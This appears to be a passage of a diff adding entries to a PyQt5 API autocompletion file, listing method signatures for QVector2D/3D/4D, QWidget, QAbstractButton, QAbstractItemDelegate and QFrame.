+QtGui.QVector2D?1() +QtGui.QVector2D.__init__?1(self) +QtGui.QVector2D?1(float, float) +QtGui.QVector2D.__init__?1(self, float, float) +QtGui.QVector2D?1(QPoint) +QtGui.QVector2D.__init__?1(self, QPoint) +QtGui.QVector2D?1(QPointF) +QtGui.QVector2D.__init__?1(self, QPointF) +QtGui.QVector2D?1(QVector3D) +QtGui.QVector2D.__init__?1(self, QVector3D) +QtGui.QVector2D?1(QVector4D) +QtGui.QVector2D.__init__?1(self, QVector4D) +QtGui.QVector2D?1(QVector2D) +QtGui.QVector2D.__init__?1(self, QVector2D) +QtGui.QVector2D.length?4() -> float +QtGui.QVector2D.lengthSquared?4() -> float +QtGui.QVector2D.normalized?4() -> QVector2D +QtGui.QVector2D.normalize?4() +QtGui.QVector2D.dotProduct?4(QVector2D, QVector2D) -> float +QtGui.QVector2D.toVector3D?4() -> QVector3D +QtGui.QVector2D.toVector4D?4() -> QVector4D +QtGui.QVector2D.isNull?4() -> bool +QtGui.QVector2D.x?4() -> float +QtGui.QVector2D.y?4() -> float +QtGui.QVector2D.setX?4(float) +QtGui.QVector2D.setY?4(float) +QtGui.QVector2D.toPoint?4() -> QPoint +QtGui.QVector2D.toPointF?4() -> QPointF +QtGui.QVector2D.distanceToPoint?4(QVector2D) -> float +QtGui.QVector2D.distanceToLine?4(QVector2D, QVector2D) -> float +QtGui.QVector3D?1() +QtGui.QVector3D.__init__?1(self) +QtGui.QVector3D?1(float, float, float) +QtGui.QVector3D.__init__?1(self, float, float, float) +QtGui.QVector3D?1(QPoint) +QtGui.QVector3D.__init__?1(self, QPoint) +QtGui.QVector3D?1(QPointF) +QtGui.QVector3D.__init__?1(self, QPointF) +QtGui.QVector3D?1(QVector2D) +QtGui.QVector3D.__init__?1(self, QVector2D) +QtGui.QVector3D?1(QVector2D, float) +QtGui.QVector3D.__init__?1(self, QVector2D, float) +QtGui.QVector3D?1(QVector4D) +QtGui.QVector3D.__init__?1(self, QVector4D) +QtGui.QVector3D?1(QVector3D) +QtGui.QVector3D.__init__?1(self, QVector3D) +QtGui.QVector3D.length?4() -> float +QtGui.QVector3D.lengthSquared?4() -> float +QtGui.QVector3D.normalized?4() -> QVector3D +QtGui.QVector3D.normalize?4() +QtGui.QVector3D.dotProduct?4(QVector3D, QVector3D) -> float +QtGui.QVector3D.crossProduct?4(QVector3D, QVector3D) -> QVector3D +QtGui.QVector3D.normal?4(QVector3D, QVector3D) -> QVector3D +QtGui.QVector3D.normal?4(QVector3D, QVector3D, QVector3D) -> QVector3D +QtGui.QVector3D.distanceToPlane?4(QVector3D, QVector3D) -> float +QtGui.QVector3D.distanceToPlane?4(QVector3D, QVector3D, QVector3D) -> float +QtGui.QVector3D.distanceToLine?4(QVector3D, QVector3D) -> float +QtGui.QVector3D.toVector2D?4() -> QVector2D +QtGui.QVector3D.toVector4D?4() -> QVector4D +QtGui.QVector3D.isNull?4() -> bool +QtGui.QVector3D.x?4() -> float +QtGui.QVector3D.y?4() -> float +QtGui.QVector3D.z?4() -> float +QtGui.QVector3D.setX?4(float) +QtGui.QVector3D.setY?4(float) +QtGui.QVector3D.setZ?4(float) +QtGui.QVector3D.toPoint?4() -> QPoint +QtGui.QVector3D.toPointF?4() -> QPointF +QtGui.QVector3D.distanceToPoint?4(QVector3D) -> float +QtGui.QVector3D.project?4(QMatrix4x4, QMatrix4x4, QRect) -> QVector3D +QtGui.QVector3D.unproject?4(QMatrix4x4, QMatrix4x4, QRect) -> QVector3D +QtGui.QVector4D?1() +QtGui.QVector4D.__init__?1(self) +QtGui.QVector4D?1(float, float, float, float) +QtGui.QVector4D.__init__?1(self, float, float, float, float) +QtGui.QVector4D?1(QPoint) +QtGui.QVector4D.__init__?1(self, QPoint) +QtGui.QVector4D?1(QPointF) +QtGui.QVector4D.__init__?1(self, QPointF) +QtGui.QVector4D?1(QVector2D) +QtGui.QVector4D.__init__?1(self, QVector2D) +QtGui.QVector4D?1(QVector2D, float, float) +QtGui.QVector4D.__init__?1(self, QVector2D, float, float) +QtGui.QVector4D?1(QVector3D) +QtGui.QVector4D.__init__?1(self, QVector3D) +QtGui.QVector4D?1(QVector3D, float) +QtGui.QVector4D.__init__?1(self, QVector3D, float) +QtGui.QVector4D?1(QVector4D) +QtGui.QVector4D.__init__?1(self, QVector4D) +QtGui.QVector4D.length?4() -> float +QtGui.QVector4D.lengthSquared?4() -> float +QtGui.QVector4D.normalized?4() -> QVector4D +QtGui.QVector4D.normalize?4() +QtGui.QVector4D.dotProduct?4(QVector4D, QVector4D) -> float +QtGui.QVector4D.toVector2D?4() -> QVector2D +QtGui.QVector4D.toVector2DAffine?4() -> QVector2D +QtGui.QVector4D.toVector3D?4() -> QVector3D +QtGui.QVector4D.toVector3DAffine?4() -> QVector3D +QtGui.QVector4D.isNull?4() -> bool +QtGui.QVector4D.x?4() -> float +QtGui.QVector4D.y?4() -> float +QtGui.QVector4D.z?4() -> float +QtGui.QVector4D.w?4() -> float +QtGui.QVector4D.setX?4(float) +QtGui.QVector4D.setY?4(float) +QtGui.QVector4D.setZ?4(float) +QtGui.QVector4D.setW?4(float) +QtGui.QVector4D.toPoint?4() -> QPoint +QtGui.QVector4D.toPointF?4() -> QPointF +QtWidgets.QWIDGETSIZE_MAX?7 +QtWidgets.qApp?7 +QtWidgets.qDrawShadeLine?4(QPainter, int, int, int, int, QPalette, bool sunken=True, int lineWidth=1, int midLineWidth=0) +QtWidgets.qDrawShadeLine?4(QPainter, QPoint, QPoint, QPalette, bool sunken=True, int lineWidth=1, int midLineWidth=0) +QtWidgets.qDrawShadeRect?4(QPainter, int, int, int, int, QPalette, bool sunken=False, int lineWidth=1, int midLineWidth=0, QBrush fill=None) +QtWidgets.qDrawShadeRect?4(QPainter, QRect, QPalette, bool sunken=False, int lineWidth=1, int midLineWidth=0, QBrush fill=None) +QtWidgets.qDrawShadePanel?4(QPainter, int, int, int, int, QPalette, bool sunken=False, int lineWidth=1, QBrush fill=None) +QtWidgets.qDrawShadePanel?4(QPainter, QRect, QPalette, bool sunken=False, int lineWidth=1, QBrush fill=None) +QtWidgets.qDrawWinButton?4(QPainter, int, int, int, int, QPalette, bool sunken=False, QBrush fill=None) +QtWidgets.qDrawWinButton?4(QPainter, QRect, QPalette, bool sunken=False, QBrush fill=None) +QtWidgets.qDrawWinPanel?4(QPainter, int, int, int, int, QPalette, bool sunken=False, QBrush fill=None) +QtWidgets.qDrawWinPanel?4(QPainter, QRect, QPalette, bool sunken=False, QBrush fill=None) +QtWidgets.qDrawPlainRect?4(QPainter, int, int, int, int, QColor, int lineWidth=1, QBrush fill=None) +QtWidgets.qDrawPlainRect?4(QPainter, QRect, QColor, int lineWidth=1, QBrush fill=None) +QtWidgets.qDrawBorderPixmap?4(QPainter, QRect, QMargins, QPixmap) +QtWidgets.QWidget.RenderFlag?10 +QtWidgets.QWidget.RenderFlag.DrawWindowBackground?10 +QtWidgets.QWidget.RenderFlag.DrawChildren?10 +QtWidgets.QWidget.RenderFlag.IgnoreMask?10 +QtWidgets.QWidget?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QWidget.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QWidget.devType?4() -> int +QtWidgets.QWidget.style?4() -> QStyle +QtWidgets.QWidget.setStyle?4(QStyle) +QtWidgets.QWidget.isEnabledTo?4(QWidget) -> bool +QtWidgets.QWidget.setEnabled?4(bool) +QtWidgets.QWidget.setDisabled?4(bool) +QtWidgets.QWidget.setWindowModified?4(bool) +QtWidgets.QWidget.frameGeometry?4() -> QRect +QtWidgets.QWidget.normalGeometry?4() -> QRect +QtWidgets.QWidget.x?4() -> int +QtWidgets.QWidget.y?4() -> int +QtWidgets.QWidget.pos?4() -> QPoint +QtWidgets.QWidget.frameSize?4() -> QSize +QtWidgets.QWidget.childrenRect?4() -> QRect +QtWidgets.QWidget.childrenRegion?4() -> QRegion +QtWidgets.QWidget.minimumSize?4() -> QSize +QtWidgets.QWidget.maximumSize?4() -> QSize +QtWidgets.QWidget.setMinimumSize?4(int, int) +QtWidgets.QWidget.setMaximumSize?4(int, int) +QtWidgets.QWidget.setMinimumWidth?4(int) +QtWidgets.QWidget.setMinimumHeight?4(int) +QtWidgets.QWidget.setMaximumWidth?4(int) +QtWidgets.QWidget.setMaximumHeight?4(int) +QtWidgets.QWidget.sizeIncrement?4() -> QSize +QtWidgets.QWidget.setSizeIncrement?4(int, int) +QtWidgets.QWidget.baseSize?4() -> QSize +QtWidgets.QWidget.setBaseSize?4(int, int) +QtWidgets.QWidget.setFixedSize?4(QSize) +QtWidgets.QWidget.setFixedSize?4(int, int) +QtWidgets.QWidget.setFixedWidth?4(int) +QtWidgets.QWidget.setFixedHeight?4(int) +QtWidgets.QWidget.mapToGlobal?4(QPoint) -> QPoint +QtWidgets.QWidget.mapFromGlobal?4(QPoint) -> QPoint +QtWidgets.QWidget.mapToParent?4(QPoint) -> QPoint +QtWidgets.QWidget.mapFromParent?4(QPoint) -> QPoint +QtWidgets.QWidget.mapTo?4(QWidget, QPoint) -> QPoint +QtWidgets.QWidget.mapFrom?4(QWidget, QPoint) -> QPoint +QtWidgets.QWidget.window?4() -> QWidget +QtWidgets.QWidget.palette?4() -> QPalette +QtWidgets.QWidget.setPalette?4(QPalette) +QtWidgets.QWidget.setBackgroundRole?4(QPalette.ColorRole) +QtWidgets.QWidget.backgroundRole?4() -> QPalette.ColorRole +QtWidgets.QWidget.setForegroundRole?4(QPalette.ColorRole) +QtWidgets.QWidget.foregroundRole?4() -> QPalette.ColorRole +QtWidgets.QWidget.setFont?4(QFont) +QtWidgets.QWidget.cursor?4() -> QCursor +QtWidgets.QWidget.setCursor?4(QCursor) +QtWidgets.QWidget.unsetCursor?4() +QtWidgets.QWidget.setMask?4(QBitmap) +QtWidgets.QWidget.setMask?4(QRegion) +QtWidgets.QWidget.mask?4() -> QRegion +QtWidgets.QWidget.clearMask?4() +QtWidgets.QWidget.setWindowTitle?4(QString) +QtWidgets.QWidget.windowTitle?4() -> QString +QtWidgets.QWidget.setWindowIcon?4(QIcon) +QtWidgets.QWidget.windowIcon?4() -> QIcon +QtWidgets.QWidget.setWindowIconText?4(QString) +QtWidgets.QWidget.windowIconText?4() -> QString +QtWidgets.QWidget.setWindowRole?4(QString) +QtWidgets.QWidget.windowRole?4() -> QString +QtWidgets.QWidget.setWindowOpacity?4(float) +QtWidgets.QWidget.windowOpacity?4() -> float +QtWidgets.QWidget.isWindowModified?4() -> bool +QtWidgets.QWidget.setToolTip?4(QString) +QtWidgets.QWidget.toolTip?4() -> QString +QtWidgets.QWidget.setStatusTip?4(QString) +QtWidgets.QWidget.statusTip?4() -> QString +QtWidgets.QWidget.setWhatsThis?4(QString) +QtWidgets.QWidget.whatsThis?4() -> QString +QtWidgets.QWidget.accessibleName?4() -> QString +QtWidgets.QWidget.setAccessibleName?4(QString) +QtWidgets.QWidget.accessibleDescription?4() -> QString +QtWidgets.QWidget.setAccessibleDescription?4(QString) +QtWidgets.QWidget.setLayoutDirection?4(Qt.LayoutDirection) +QtWidgets.QWidget.layoutDirection?4() -> Qt.LayoutDirection +QtWidgets.QWidget.unsetLayoutDirection?4() +QtWidgets.QWidget.isRightToLeft?4() -> bool +QtWidgets.QWidget.isLeftToRight?4() -> bool +QtWidgets.QWidget.setFocus?4() +QtWidgets.QWidget.isActiveWindow?4() -> bool +QtWidgets.QWidget.activateWindow?4() +QtWidgets.QWidget.clearFocus?4() +QtWidgets.QWidget.setFocus?4(Qt.FocusReason) +QtWidgets.QWidget.focusPolicy?4() -> Qt.FocusPolicy +QtWidgets.QWidget.setFocusPolicy?4(Qt.FocusPolicy) +QtWidgets.QWidget.hasFocus?4() -> bool +QtWidgets.QWidget.setTabOrder?4(QWidget, QWidget) +QtWidgets.QWidget.setFocusProxy?4(QWidget) +QtWidgets.QWidget.focusProxy?4() -> QWidget +QtWidgets.QWidget.contextMenuPolicy?4() -> Qt.ContextMenuPolicy +QtWidgets.QWidget.setContextMenuPolicy?4(Qt.ContextMenuPolicy) +QtWidgets.QWidget.grabMouse?4() +QtWidgets.QWidget.grabMouse?4(QCursor) +QtWidgets.QWidget.releaseMouse?4() +QtWidgets.QWidget.grabKeyboard?4() +QtWidgets.QWidget.releaseKeyboard?4() +QtWidgets.QWidget.grabShortcut?4(QKeySequence, Qt.ShortcutContext context=Qt.WindowShortcut) -> int +QtWidgets.QWidget.releaseShortcut?4(int) +QtWidgets.QWidget.setShortcutEnabled?4(int, bool enabled=True) +QtWidgets.QWidget.mouseGrabber?4() -> QWidget +QtWidgets.QWidget.keyboardGrabber?4() -> QWidget +QtWidgets.QWidget.setUpdatesEnabled?4(bool) +QtWidgets.QWidget.update?4() +QtWidgets.QWidget.repaint?4() +QtWidgets.QWidget.update?4(QRect) +QtWidgets.QWidget.update?4(QRegion) +QtWidgets.QWidget.repaint?4(int, int, int, int) +QtWidgets.QWidget.repaint?4(QRect) +QtWidgets.QWidget.repaint?4(QRegion) +QtWidgets.QWidget.setVisible?4(bool) +QtWidgets.QWidget.setHidden?4(bool) +QtWidgets.QWidget.show?4() +QtWidgets.QWidget.hide?4() +QtWidgets.QWidget.showMinimized?4() +QtWidgets.QWidget.showMaximized?4() +QtWidgets.QWidget.showFullScreen?4() +QtWidgets.QWidget.showNormal?4() +QtWidgets.QWidget.close?4() -> bool +QtWidgets.QWidget.raise_?4() +QtWidgets.QWidget.lower?4() +QtWidgets.QWidget.stackUnder?4(QWidget) +QtWidgets.QWidget.move?4(QPoint) +QtWidgets.QWidget.resize?4(QSize) +QtWidgets.QWidget.setGeometry?4(QRect) +QtWidgets.QWidget.adjustSize?4() +QtWidgets.QWidget.isVisibleTo?4(QWidget) -> bool +QtWidgets.QWidget.isMinimized?4() -> bool +QtWidgets.QWidget.isMaximized?4() -> bool +QtWidgets.QWidget.isFullScreen?4() -> bool +QtWidgets.QWidget.windowState?4() -> Qt.WindowStates +QtWidgets.QWidget.setWindowState?4(Qt.WindowStates) +QtWidgets.QWidget.overrideWindowState?4(Qt.WindowStates) +QtWidgets.QWidget.sizeHint?4() -> QSize +QtWidgets.QWidget.minimumSizeHint?4() -> QSize +QtWidgets.QWidget.sizePolicy?4() -> QSizePolicy +QtWidgets.QWidget.setSizePolicy?4(QSizePolicy) +QtWidgets.QWidget.heightForWidth?4(int) -> int +QtWidgets.QWidget.visibleRegion?4() -> QRegion +QtWidgets.QWidget.setContentsMargins?4(int, int, int, int) +QtWidgets.QWidget.getContentsMargins?4() -> (int, int, int, int) +QtWidgets.QWidget.contentsRect?4() -> QRect +QtWidgets.QWidget.layout?4() -> QLayout +QtWidgets.QWidget.setLayout?4(QLayout) +QtWidgets.QWidget.updateGeometry?4() +QtWidgets.QWidget.setParent?4(QWidget) +QtWidgets.QWidget.setParent?4(QWidget, Qt.WindowFlags) +QtWidgets.QWidget.scroll?4(int, int) +QtWidgets.QWidget.scroll?4(int, int, QRect) +QtWidgets.QWidget.focusWidget?4() -> QWidget +QtWidgets.QWidget.nextInFocusChain?4() -> QWidget +QtWidgets.QWidget.acceptDrops?4() -> bool +QtWidgets.QWidget.setAcceptDrops?4(bool) +QtWidgets.QWidget.addAction?4(QAction) +QtWidgets.QWidget.addActions?4(unknown-type) +QtWidgets.QWidget.insertAction?4(QAction, QAction) +QtWidgets.QWidget.insertActions?4(QAction, unknown-type) +QtWidgets.QWidget.removeAction?4(QAction) +QtWidgets.QWidget.actions?4() -> unknown-type +QtWidgets.QWidget.setWindowFlags?4(Qt.WindowFlags) +QtWidgets.QWidget.overrideWindowFlags?4(Qt.WindowFlags) +QtWidgets.QWidget.find?4(quintptr) -> QWidget +QtWidgets.QWidget.childAt?4(QPoint) -> QWidget +QtWidgets.QWidget.setAttribute?4(Qt.WidgetAttribute, bool on=True) +QtWidgets.QWidget.paintEngine?4() -> QPaintEngine +QtWidgets.QWidget.ensurePolished?4() +QtWidgets.QWidget.isAncestorOf?4(QWidget) -> bool +QtWidgets.QWidget.customContextMenuRequested?4(QPoint) +QtWidgets.QWidget.event?4(QEvent) -> bool +QtWidgets.QWidget.mousePressEvent?4(QMouseEvent) +QtWidgets.QWidget.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QWidget.mouseDoubleClickEvent?4(QMouseEvent) +QtWidgets.QWidget.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QWidget.wheelEvent?4(QWheelEvent) +QtWidgets.QWidget.keyPressEvent?4(QKeyEvent) +QtWidgets.QWidget.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QWidget.focusInEvent?4(QFocusEvent) +QtWidgets.QWidget.focusOutEvent?4(QFocusEvent) +QtWidgets.QWidget.enterEvent?4(QEvent) +QtWidgets.QWidget.leaveEvent?4(QEvent) +QtWidgets.QWidget.paintEvent?4(QPaintEvent) +QtWidgets.QWidget.moveEvent?4(QMoveEvent) +QtWidgets.QWidget.resizeEvent?4(QResizeEvent) +QtWidgets.QWidget.closeEvent?4(QCloseEvent) +QtWidgets.QWidget.contextMenuEvent?4(QContextMenuEvent) +QtWidgets.QWidget.tabletEvent?4(QTabletEvent) +QtWidgets.QWidget.actionEvent?4(QActionEvent) +QtWidgets.QWidget.dragEnterEvent?4(QDragEnterEvent) +QtWidgets.QWidget.dragMoveEvent?4(QDragMoveEvent) +QtWidgets.QWidget.dragLeaveEvent?4(QDragLeaveEvent) +QtWidgets.QWidget.dropEvent?4(QDropEvent) +QtWidgets.QWidget.showEvent?4(QShowEvent) +QtWidgets.QWidget.hideEvent?4(QHideEvent) +QtWidgets.QWidget.changeEvent?4(QEvent) +QtWidgets.QWidget.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtWidgets.QWidget.inputMethodEvent?4(QInputMethodEvent) +QtWidgets.QWidget.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtWidgets.QWidget.updateMicroFocus?4() +QtWidgets.QWidget.create?4(quintptr window=0, bool initializeWindow=True, bool destroyOldWindow=True) +QtWidgets.QWidget.destroy?4(bool destroyWindow=True, bool destroySubWindows=True) +QtWidgets.QWidget.focusNextPrevChild?4(bool) -> bool +QtWidgets.QWidget.focusNextChild?4() -> bool +QtWidgets.QWidget.focusPreviousChild?4() -> bool +QtWidgets.QWidget.childAt?4(int, int) -> QWidget +QtWidgets.QWidget.windowType?4() -> Qt.WindowType +QtWidgets.QWidget.windowFlags?4() -> Qt.WindowFlags +QtWidgets.QWidget.winId?4() -> quintptr +QtWidgets.QWidget.isWindow?4() -> bool +QtWidgets.QWidget.isEnabled?4() -> bool +QtWidgets.QWidget.isModal?4() -> bool +QtWidgets.QWidget.minimumWidth?4() -> int +QtWidgets.QWidget.minimumHeight?4() -> int +QtWidgets.QWidget.maximumWidth?4() -> int +QtWidgets.QWidget.maximumHeight?4() -> int +QtWidgets.QWidget.setMinimumSize?4(QSize) +QtWidgets.QWidget.setMaximumSize?4(QSize) +QtWidgets.QWidget.setSizeIncrement?4(QSize) +QtWidgets.QWidget.setBaseSize?4(QSize) +QtWidgets.QWidget.font?4() -> QFont +QtWidgets.QWidget.fontMetrics?4() -> QFontMetrics +QtWidgets.QWidget.fontInfo?4() -> QFontInfo +QtWidgets.QWidget.setMouseTracking?4(bool) +QtWidgets.QWidget.hasMouseTracking?4() -> bool +QtWidgets.QWidget.underMouse?4() -> bool +QtWidgets.QWidget.updatesEnabled?4() -> bool +QtWidgets.QWidget.update?4(int, int, int, int) +QtWidgets.QWidget.isVisible?4() -> bool +QtWidgets.QWidget.isHidden?4() -> bool +QtWidgets.QWidget.move?4(int, int) +QtWidgets.QWidget.resize?4(int, int) +QtWidgets.QWidget.setGeometry?4(int, int, int, int) +QtWidgets.QWidget.rect?4() -> QRect +QtWidgets.QWidget.geometry?4() -> QRect +QtWidgets.QWidget.size?4() -> QSize +QtWidgets.QWidget.width?4() -> int +QtWidgets.QWidget.height?4() -> int +QtWidgets.QWidget.parentWidget?4() -> QWidget +QtWidgets.QWidget.setSizePolicy?4(QSizePolicy.Policy, QSizePolicy.Policy) +QtWidgets.QWidget.testAttribute?4(Qt.WidgetAttribute) -> bool +QtWidgets.QWidget.windowModality?4() -> Qt.WindowModality +QtWidgets.QWidget.setWindowModality?4(Qt.WindowModality) +QtWidgets.QWidget.autoFillBackground?4() -> bool +QtWidgets.QWidget.setAutoFillBackground?4(bool) +QtWidgets.QWidget.setStyleSheet?4(QString) +QtWidgets.QWidget.styleSheet?4() -> QString +QtWidgets.QWidget.setShortcutAutoRepeat?4(int, bool enabled=True) +QtWidgets.QWidget.saveGeometry?4() -> QByteArray +QtWidgets.QWidget.restoreGeometry?4(QByteArray) -> bool +QtWidgets.QWidget.render?4(QPaintDevice, QPoint targetOffset=QPoint(), QRegion sourceRegion=QRegion(), QWidget.RenderFlags flags=QWidget.RenderFlags(QWidget.RenderFlag.DrawWindowBackground|QWidget.RenderFlag.DrawChildren)) +QtWidgets.QWidget.render?4(QPainter, QPoint targetOffset=QPoint(), QRegion sourceRegion=QRegion(), QWidget.RenderFlags flags=QWidget.RenderFlags(QWidget.RenderFlag.DrawWindowBackground|QWidget.RenderFlag.DrawChildren)) +QtWidgets.QWidget.setLocale?4(QLocale) +QtWidgets.QWidget.locale?4() -> QLocale +QtWidgets.QWidget.unsetLocale?4() +QtWidgets.QWidget.effectiveWinId?4() -> quintptr +QtWidgets.QWidget.nativeParentWidget?4() -> QWidget +QtWidgets.QWidget.setWindowFilePath?4(QString) +QtWidgets.QWidget.windowFilePath?4() -> QString +QtWidgets.QWidget.graphicsProxyWidget?4() -> QGraphicsProxyWidget +QtWidgets.QWidget.graphicsEffect?4() -> QGraphicsEffect +QtWidgets.QWidget.setGraphicsEffect?4(QGraphicsEffect) +QtWidgets.QWidget.grabGesture?4(Qt.GestureType, Qt.GestureFlags flags=Qt.GestureFlags()) +QtWidgets.QWidget.ungrabGesture?4(Qt.GestureType) +QtWidgets.QWidget.setContentsMargins?4(QMargins) +QtWidgets.QWidget.contentsMargins?4() -> QMargins +QtWidgets.QWidget.previousInFocusChain?4() -> QWidget +QtWidgets.QWidget.inputMethodHints?4() -> Qt.InputMethodHints +QtWidgets.QWidget.setInputMethodHints?4(Qt.InputMethodHints) +QtWidgets.QWidget.hasHeightForWidth?4() -> bool +QtWidgets.QWidget.grab?4(QRect rectangle=QRect(QPoint(0,0),QSize(-1,-1))) -> QPixmap +QtWidgets.QWidget.createWindowContainer?4(QWindow, QWidget parent=None, Qt.WindowFlags flags=0) -> object +QtWidgets.QWidget.windowHandle?4() -> QWindow +QtWidgets.QWidget.nativeEvent?4(QByteArray, sip.voidptr) -> (bool, int) +QtWidgets.QWidget.sharedPainter?4() -> QPainter +QtWidgets.QWidget.initPainter?4(QPainter) +QtWidgets.QWidget.setToolTipDuration?4(int) +QtWidgets.QWidget.toolTipDuration?4() -> int +QtWidgets.QWidget.windowTitleChanged?4(QString) +QtWidgets.QWidget.windowIconChanged?4(QIcon) +QtWidgets.QWidget.windowIconTextChanged?4(QString) +QtWidgets.QWidget.setTabletTracking?4(bool) +QtWidgets.QWidget.hasTabletTracking?4() -> bool +QtWidgets.QWidget.setWindowFlag?4(Qt.WindowType, bool on=True) +QtWidgets.QWidget.screen?4() -> QScreen +QtWidgets.QAbstractButton?1(QWidget parent=None) +QtWidgets.QAbstractButton.__init__?1(self, QWidget parent=None) +QtWidgets.QAbstractButton.setAutoRepeatDelay?4(int) +QtWidgets.QAbstractButton.autoRepeatDelay?4() -> int +QtWidgets.QAbstractButton.setAutoRepeatInterval?4(int) +QtWidgets.QAbstractButton.autoRepeatInterval?4() -> int +QtWidgets.QAbstractButton.setText?4(QString) +QtWidgets.QAbstractButton.text?4() -> QString +QtWidgets.QAbstractButton.setIcon?4(QIcon) +QtWidgets.QAbstractButton.icon?4() -> QIcon +QtWidgets.QAbstractButton.iconSize?4() -> QSize +QtWidgets.QAbstractButton.setShortcut?4(QKeySequence) +QtWidgets.QAbstractButton.shortcut?4() -> QKeySequence +QtWidgets.QAbstractButton.setCheckable?4(bool) +QtWidgets.QAbstractButton.isCheckable?4() -> bool +QtWidgets.QAbstractButton.isChecked?4() -> bool +QtWidgets.QAbstractButton.setDown?4(bool) +QtWidgets.QAbstractButton.isDown?4() -> bool +QtWidgets.QAbstractButton.setAutoRepeat?4(bool) +QtWidgets.QAbstractButton.autoRepeat?4() -> bool +QtWidgets.QAbstractButton.setAutoExclusive?4(bool) +QtWidgets.QAbstractButton.autoExclusive?4() -> bool +QtWidgets.QAbstractButton.group?4() -> QButtonGroup +QtWidgets.QAbstractButton.setIconSize?4(QSize) +QtWidgets.QAbstractButton.animateClick?4(int msecs=100) +QtWidgets.QAbstractButton.click?4() +QtWidgets.QAbstractButton.toggle?4() +QtWidgets.QAbstractButton.setChecked?4(bool) +QtWidgets.QAbstractButton.pressed?4() +QtWidgets.QAbstractButton.released?4() +QtWidgets.QAbstractButton.clicked?4(bool checked=False) +QtWidgets.QAbstractButton.toggled?4(bool) +QtWidgets.QAbstractButton.paintEvent?4(QPaintEvent) +QtWidgets.QAbstractButton.hitButton?4(QPoint) -> bool +QtWidgets.QAbstractButton.checkStateSet?4() +QtWidgets.QAbstractButton.nextCheckState?4() +QtWidgets.QAbstractButton.event?4(QEvent) -> bool +QtWidgets.QAbstractButton.keyPressEvent?4(QKeyEvent) +QtWidgets.QAbstractButton.keyReleaseEvent?4(QKeyEvent) +QtWidgets.QAbstractButton.mousePressEvent?4(QMouseEvent) +QtWidgets.QAbstractButton.mouseReleaseEvent?4(QMouseEvent) +QtWidgets.QAbstractButton.mouseMoveEvent?4(QMouseEvent) +QtWidgets.QAbstractButton.focusInEvent?4(QFocusEvent) +QtWidgets.QAbstractButton.focusOutEvent?4(QFocusEvent) +QtWidgets.QAbstractButton.changeEvent?4(QEvent) +QtWidgets.QAbstractButton.timerEvent?4(QTimerEvent) +QtWidgets.QAbstractItemDelegate.EndEditHint?10 +QtWidgets.QAbstractItemDelegate.EndEditHint.NoHint?10 +QtWidgets.QAbstractItemDelegate.EndEditHint.EditNextItem?10 +QtWidgets.QAbstractItemDelegate.EndEditHint.EditPreviousItem?10 +QtWidgets.QAbstractItemDelegate.EndEditHint.SubmitModelCache?10 +QtWidgets.QAbstractItemDelegate.EndEditHint.RevertModelCache?10 +QtWidgets.QAbstractItemDelegate?1(QObject parent=None) +QtWidgets.QAbstractItemDelegate.__init__?1(self, QObject parent=None) +QtWidgets.QAbstractItemDelegate.paint?4(QPainter, QStyleOptionViewItem, QModelIndex) +QtWidgets.QAbstractItemDelegate.sizeHint?4(QStyleOptionViewItem, QModelIndex) -> QSize +QtWidgets.QAbstractItemDelegate.createEditor?4(QWidget, QStyleOptionViewItem, QModelIndex) -> QWidget +QtWidgets.QAbstractItemDelegate.setEditorData?4(QWidget, QModelIndex) +QtWidgets.QAbstractItemDelegate.setModelData?4(QWidget, QAbstractItemModel, QModelIndex) +QtWidgets.QAbstractItemDelegate.updateEditorGeometry?4(QWidget, QStyleOptionViewItem, QModelIndex) +QtWidgets.QAbstractItemDelegate.destroyEditor?4(QWidget, QModelIndex) +QtWidgets.QAbstractItemDelegate.editorEvent?4(QEvent, QAbstractItemModel, QStyleOptionViewItem, QModelIndex) -> bool +QtWidgets.QAbstractItemDelegate.helpEvent?4(QHelpEvent, QAbstractItemView, QStyleOptionViewItem, QModelIndex) -> bool +QtWidgets.QAbstractItemDelegate.commitData?4(QWidget) +QtWidgets.QAbstractItemDelegate.closeEditor?4(QWidget, QAbstractItemDelegate.EndEditHint hint=QAbstractItemDelegate.NoHint) +QtWidgets.QAbstractItemDelegate.sizeHintChanged?4(QModelIndex) +QtWidgets.QFrame.StyleMask?10 +QtWidgets.QFrame.StyleMask.Shadow_Mask?10 +QtWidgets.QFrame.StyleMask.Shape_Mask?10 +QtWidgets.QFrame.Shape?10 +QtWidgets.QFrame.Shape.NoFrame?10 +QtWidgets.QFrame.Shape.Box?10 +QtWidgets.QFrame.Shape.Panel?10 +QtWidgets.QFrame.Shape.WinPanel?10 +QtWidgets.QFrame.Shape.HLine?10 +QtWidgets.QFrame.Shape.VLine?10 +QtWidgets.QFrame.Shape.StyledPanel?10 +QtWidgets.QFrame.Shadow?10 +QtWidgets.QFrame.Shadow.Plain?10 +QtWidgets.QFrame.Shadow.Raised?10 +QtWidgets.QFrame.Shadow.Sunken?10 +QtWidgets.QFrame?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QFrame.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtWidgets.QFrame.frameStyle?4() -> int +QtWidgets.QFrame.setFrameStyle?4(int) +QtWidgets.QFrame.frameWidth?4() -> int +QtWidgets.QFrame.sizeHint?4() -> QSize +QtWidgets.QFrame.frameShape?4() -> QFrame.Shape +QtWidgets.QFrame.setFrameShape?4(QFrame.Shape) +QtWidgets.QFrame.frameShadow?4() -> QFrame.Shadow +QtWidgets.QFrame.setFrameShadow?4(QFrame.Shadow) +QtWidgets.QFrame.lineWidth?4() -> int +QtWidgets.QFrame.setLineWidth?4(int) +QtWidgets.QFrame.midLineWidth?4() -> int +QtWidgets.QFrame.setMidLineWidth?4(int) +QtWidgets.QFrame.frameRect?4() -> QRect +QtWidgets.QFrame.setFrameRect?4(QRect) +QtWidgets.QFrame.event?4(QEvent) -> bool +QtWidgets.QFrame.paintEvent?4(QPaintEvent) +QtWidgets.QFrame.changeEvent?4(QEvent) +QtWidgets.QFrame.drawFrame?4(QPainter) +QtWidgets.QFrame.initStyleOption?4(QStyleOptionFrame) +QtWidgets.QAbstractScrollArea.SizeAdjustPolicy?10 